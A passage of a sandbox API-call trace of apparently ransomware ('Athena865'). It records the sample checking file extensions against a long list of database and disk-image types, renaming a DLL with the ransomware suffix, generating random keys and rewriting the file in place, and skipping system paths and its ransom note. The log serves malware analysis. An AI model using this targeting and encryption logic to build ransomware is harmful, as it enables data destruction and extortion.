(lpString="vdi") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0095.515] lstrlenW (lpString="vhd") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0095.515] lstrlenW (lpString="vhdx") returned 4 [0095.515] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0095.515] lstrlenW (lpString="avhd") returned 4 [0095.515] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0095.515] lstrlenW (lpString="db") returned 2 [0095.515] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0095.515] lstrlenW (lpString="db2") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0095.515] lstrlenW (lpString="db3") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0095.516] lstrlenW (lpString="dbf") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0095.516] lstrlenW (lpString="mdf") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0095.516] lstrlenW (lpString="mdb") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0095.516] lstrlenW (lpString="sql") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0095.516] lstrlenW (lpString="sqlite") returned 6 [0095.516] lstrcmpiW (lpString1="rc.dll", lpString2="sqlite") returned -1 [0095.516] lstrlenW (lpString="sqlite3") returned 7 [0095.516] lstrcmpiW (lpString1="src.dll", lpString2="sqlite3") returned 1 [0095.516] lstrlenW (lpString="sqlitedb") returned 8 [0095.516] lstrcmpiW (lpString1="asrc.dll", lpString2="sqlitedb") returned -1 [0095.516] lstrlenW (lpString="xml") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0095.516] lstrlenW (lpString="$er") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0095.516] lstrlenW (lpString="4dd") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0095.516] lstrlenW (lpString="4dl") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0095.516] lstrlenW (lpString="^^^") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0095.516] lstrlenW (lpString="abs") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0095.516] lstrlenW (lpString="abx") returned 3 [0095.516] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0095.516] lstrlenW (lpString="accdb") returned 5 [0095.516] lstrcmpiW (lpString1="c.dll", lpString2="accdb") returned 1 [0095.516] lstrlenW (lpString="accdc") returned 5 [0095.517] lstrcmpiW (lpString1="c.dll", lpString2="accdc") returned 1 [0095.517] lstrlenW (lpString="accde") returned 5 [0095.517] lstrcmpiW (lpString1="c.dll", lpString2="accde") returned 1 [0095.517] lstrlenW (lpString="accdr") returned 5 [0095.517] lstrcmpiW (lpString1="c.dll", lpString2="accdr") returned 1 [0095.517] lstrlenW (lpString="accdt") returned 5 [0095.517] lstrcmpiW (lpString1="c.dll", lpString2="accdt") returned 1 [0095.517] lstrlenW (lpString="accdw") returned 5 [0095.517] lstrcmpiW (lpString1="c.dll", lpString2="accdw") returned 1 [0095.517] lstrlenW (lpString="accft") returned 5 [0095.517] lstrcmpiW (lpString1="c.dll", lpString2="accft") returned 1 [0095.517] lstrlenW (lpString="adb") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.517] lstrlenW (lpString="adb") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.517] lstrlenW (lpString="ade") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0095.517] lstrlenW (lpString="adf") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0095.517] lstrlenW (lpString="adn") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0095.517] lstrlenW (lpString="adp") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0095.517] lstrlenW (lpString="alf") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0095.517] lstrlenW (lpString="ask") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0095.517] lstrlenW (lpString="btr") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0095.517] lstrlenW (lpString="cat") returned 3 [0095.517] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0095.518] lstrlenW (lpString="cdb") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0095.518] lstrlenW (lpString="ckp") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0095.518] lstrlenW (lpString="cma") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0095.518] lstrlenW (lpString="cpd") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0095.518] lstrlenW (lpString="dacpac") returned 6 [0095.518] lstrcmpiW (lpString1="rc.dll", lpString2="dacpac") returned 1 [0095.518] lstrlenW (lpString="dad") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0095.518] lstrlenW (lpString="dadiagrams") returned 10 [0095.518] lstrcmpiW (lpString1="atasrc.dll", lpString2="dadiagrams") returned -1 [0095.518] lstrlenW (lpString="daschema") returned 8 [0095.518] lstrcmpiW (lpString1="asrc.dll", lpString2="daschema") returned -1 [0095.518] lstrlenW (lpString="db-journal") returned 10 [0095.518] lstrcmpiW (lpString1="atasrc.dll", lpString2="db-journal") returned -1 [0095.518] lstrlenW (lpString="db-shm") returned 6 [0095.518] lstrcmpiW (lpString1="rc.dll", lpString2="db-shm") returned 1 [0095.518] lstrlenW (lpString="db-wal") returned 6 [0095.518] lstrcmpiW (lpString1="rc.dll", lpString2="db-wal") returned 1 [0095.518] lstrlenW (lpString="dbc") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0095.518] lstrlenW (lpString="dbs") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0095.518] lstrlenW (lpString="dbt") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0095.518] lstrlenW (lpString="dbv") returned 3 [0095.518] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0095.519] lstrlenW (lpString="dbx") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0095.519] lstrlenW (lpString="dcb") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0095.519] lstrlenW (lpString="dct") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0095.519] lstrlenW (lpString="dcx") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0095.519] lstrlenW (lpString="ddl") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0095.519] lstrlenW (lpString="dlis") returned 4 [0095.519] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0095.519] lstrlenW (lpString="dp1") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0095.519] lstrlenW (lpString="dqy") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0095.519] lstrlenW (lpString="dsk") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0095.519] lstrlenW (lpString="dsn") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0095.519] lstrlenW (lpString="dtsx") returned 4 [0095.519] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0095.519] lstrlenW (lpString="dxl") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0095.519] lstrlenW (lpString="eco") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0095.519] lstrlenW (lpString="ecx") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0095.519] lstrlenW (lpString="edb") returned 3 [0095.519] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0095.520] lstrlenW (lpString="epim") returned 4 [0095.520] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0095.520] lstrlenW (lpString="fcd") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0095.520] lstrlenW (lpString="fdb") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0095.520] lstrlenW (lpString="fic") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0095.520] lstrlenW (lpString="flexolibrary") returned 12 [0095.520] lstrcmpiW (lpString1="sdatasrc.dll", lpString2="flexolibrary") returned 1 [0095.520] lstrlenW (lpString="fm5") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0095.520] lstrlenW (lpString="fmp") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0095.520] lstrlenW (lpString="fmp12") returned 5 [0095.520] lstrcmpiW (lpString1="c.dll", lpString2="fmp12") returned -1 [0095.520] lstrlenW (lpString="fmpsl") returned 5 [0095.520] lstrcmpiW (lpString1="c.dll", lpString2="fmpsl") returned -1 [0095.520] lstrlenW (lpString="fol") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0095.520] lstrlenW (lpString="fp3") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0095.520] lstrlenW (lpString="fp4") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0095.520] lstrlenW (lpString="fp5") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0095.520] lstrlenW (lpString="fp7") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0095.520] lstrlenW (lpString="fpt") returned 3 [0095.520] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0095.521] lstrlenW (lpString="frm") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0095.521] lstrlenW (lpString="gdb") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.521] lstrlenW (lpString="gdb") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.521] lstrlenW (lpString="grdb") returned 4 [0095.521] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0095.521] lstrlenW (lpString="gwi") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0095.521] lstrlenW (lpString="hdb") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0095.521] lstrlenW (lpString="his") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0095.521] lstrlenW (lpString="ib") returned 2 [0095.521] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0095.521] lstrlenW (lpString="idb") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0095.521] lstrlenW (lpString="ihx") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0095.521] lstrlenW (lpString="itdb") returned 4 [0095.521] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0095.521] lstrlenW (lpString="itw") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0095.521] lstrlenW (lpString="jet") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0095.521] lstrlenW (lpString="jtx") returned 3 [0095.521] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0095.521] lstrlenW (lpString="kdb") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0095.522] lstrlenW (lpString="kexi") returned 4 [0095.522] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0095.522] lstrlenW (lpString="kexic") returned 5 [0095.522] lstrcmpiW (lpString1="c.dll", lpString2="kexic") returned -1 [0095.522] lstrlenW (lpString="kexis") returned 5 [0095.522] lstrcmpiW (lpString1="c.dll", lpString2="kexis") returned -1 [0095.522] lstrlenW (lpString="lgc") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0095.522] lstrlenW (lpString="lwx") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0095.522] lstrlenW (lpString="maf") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0095.522] lstrlenW (lpString="maq") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0095.522] lstrlenW (lpString="mar") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0095.522] lstrlenW (lpString="marshal") returned 7 [0095.522] lstrcmpiW (lpString1="src.dll", lpString2="marshal") returned 1 [0095.522] lstrlenW (lpString="mas") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0095.522] lstrlenW (lpString="mav") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0095.522] lstrlenW (lpString="maw") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0095.522] lstrlenW (lpString="mdbhtml") returned 7 [0095.522] lstrcmpiW (lpString1="src.dll", lpString2="mdbhtml") returned 1 [0095.522] lstrlenW (lpString="mdn") returned 3 [0095.522] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0095.522] lstrlenW (lpString="mdt") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0095.523] lstrlenW (lpString="mfd") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0095.523] lstrlenW (lpString="mpd") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0095.523] lstrlenW (lpString="mrg") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0095.523] lstrlenW (lpString="mud") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0095.523] lstrlenW (lpString="mwb") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0095.523] lstrlenW (lpString="myd") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0095.523] lstrlenW (lpString="ndf") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0095.523] lstrlenW (lpString="nnt") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0095.523] lstrlenW (lpString="nrmlib") returned 6 [0095.523] lstrcmpiW (lpString1="rc.dll", lpString2="nrmlib") returned 1 [0095.523] lstrlenW (lpString="ns2") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0095.523] lstrlenW (lpString="ns3") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0095.523] lstrlenW (lpString="ns4") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0095.523] lstrlenW (lpString="nsf") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0095.523] lstrlenW (lpString="nv") returned 2 [0095.523] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0095.523] lstrlenW (lpString="nv2") returned 3 [0095.523] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0095.524] lstrlenW (lpString="nwdb") returned 4 [0095.524] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0095.524] lstrlenW (lpString="nyf") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0095.524] lstrlenW (lpString="odb") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.524] lstrlenW (lpString="odb") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.524] lstrlenW (lpString="oqy") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0095.524] lstrlenW (lpString="ora") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0095.524] lstrlenW (lpString="orx") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0095.524] lstrlenW (lpString="owc") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0095.524] lstrlenW (lpString="p96") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0095.524] lstrlenW (lpString="p97") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0095.524] lstrlenW (lpString="pan") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0095.524] lstrlenW (lpString="pdb") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0095.524] lstrlenW (lpString="pdm") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0095.524] lstrlenW (lpString="pnz") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0095.524] lstrlenW (lpString="qry") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0095.524] lstrlenW (lpString="qvd") returned 3 [0095.524] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0095.525] lstrlenW (lpString="rbf") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0095.525] lstrlenW (lpString="rctd") returned 4 [0095.525] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0095.525] lstrlenW (lpString="rod") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0095.525] lstrlenW (lpString="rodx") returned 4 [0095.525] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0095.525] lstrlenW (lpString="rpd") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0095.525] lstrlenW (lpString="rsd") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0095.525] lstrlenW (lpString="sas7bdat") returned 8 [0095.525] lstrcmpiW (lpString1="asrc.dll", lpString2="sas7bdat") returned -1 [0095.525] lstrlenW (lpString="sbf") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0095.525] lstrlenW (lpString="scx") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0095.525] lstrlenW (lpString="sdb") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0095.525] lstrlenW (lpString="sdc") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0095.525] lstrlenW (lpString="sdf") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0095.525] lstrlenW (lpString="sis") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0095.525] lstrlenW (lpString="spq") returned 3 [0095.525] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0095.525] lstrlenW (lpString="te") returned 2 [0095.525] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0095.525] lstrlenW (lpString="teacher") returned 7 [0095.526] lstrcmpiW (lpString1="src.dll", lpString2="teacher") returned -1 [0095.526] lstrlenW (lpString="tmd") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0095.526] lstrlenW (lpString="tps") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0095.526] lstrlenW (lpString="trc") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.526] lstrlenW (lpString="trc") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.526] lstrlenW (lpString="trm") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0095.526] lstrlenW (lpString="udb") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0095.526] lstrlenW (lpString="udl") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0095.526] lstrlenW (lpString="usr") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0095.526] lstrlenW (lpString="v12") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0095.526] lstrlenW (lpString="vis") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0095.526] lstrlenW (lpString="vpd") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0095.526] lstrlenW (lpString="vvv") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0095.526] lstrlenW (lpString="wdb") returned 3 [0095.526] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0095.526] lstrlenW (lpString="wmdb") returned 4 [0095.526] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0095.526] lstrlenW (lpString="wrk") returned 3 [0095.527] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0095.527] lstrlenW (lpString="xdb") returned 3 [0095.527] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0095.527] lstrlenW (lpString="xld") returned 3 [0095.527] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0095.527] lstrlenW (lpString="xmlff") returned 5 [0095.527] lstrcmpiW (lpString1="c.dll", lpString2="xmlff") returned -1 [0095.527] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll.Athena865") returned 87 [0095.527] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\msdatasrc.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\msdatasrc.dll.athena865"), dwFlags=0x1) returned 1 [0095.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\msdatasrc.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\msdatasrc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4096) returned 1 [0095.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.528] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.529] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.529] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.529] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1300, lpName=0x0) returned 0x154 [0095.530] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1300) returned 0x100000 [0095.531] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.532] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.532] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.533] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.533] CloseHandle (hObject=0x154) returned 1 [0095.533] CloseHandle (hObject=0x17c) returned 1 [0095.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.533] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e89700, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2e89700, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0095.533] lstrcmpiW (lpString1="stdole.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.533] lstrcmpiW (lpString1="stdole.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.533] lstrcmpiW (lpString1="stdole.dll", lpString2=".") returned 1 [0095.533] lstrcmpiW (lpString1="stdole.dll", lpString2="..") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="windows") returned -1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="bootmgr") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="temp") returned -1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="pagefile.sys") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="boot") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="ids.txt") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="ntuser.dat") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="perflogs") returned 1 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2="MSBuild") returned 1 [0095.534] lstrlenW (lpString="stdole.dll") returned 10 [0095.534] lstrcpyW (in: lpString1=0x241e8c8, lpString2="stdole.dll" | out: lpString1="stdole.dll") returned="stdole.dll" [0095.534] lstrlenW (lpString="stdole.dll") returned 10 [0095.534] lstrlenW (lpString="Athena865") returned 9 [0095.534] lstrcmpiW (lpString1="tdole.dll", lpString2="Athena865") returned 1 [0095.534] lstrlenW (lpString=".dll") returned 4 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2=".dll") returned 1 [0095.534] lstrlenW (lpString=".lnk") returned 4 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2=".lnk") returned 1 [0095.534] lstrlenW (lpString=".ini") returned 4 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2=".ini") returned 1 [0095.534] lstrlenW (lpString=".sys") returned 4 [0095.534] lstrcmpiW (lpString1="stdole.dll", lpString2=".sys") returned 1 [0095.534] lstrlenW (lpString="stdole.dll") returned 10 [0095.534] lstrlenW (lpString="bak") returned 3 [0095.534] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0095.534] lstrlenW (lpString="ba_") returned 3 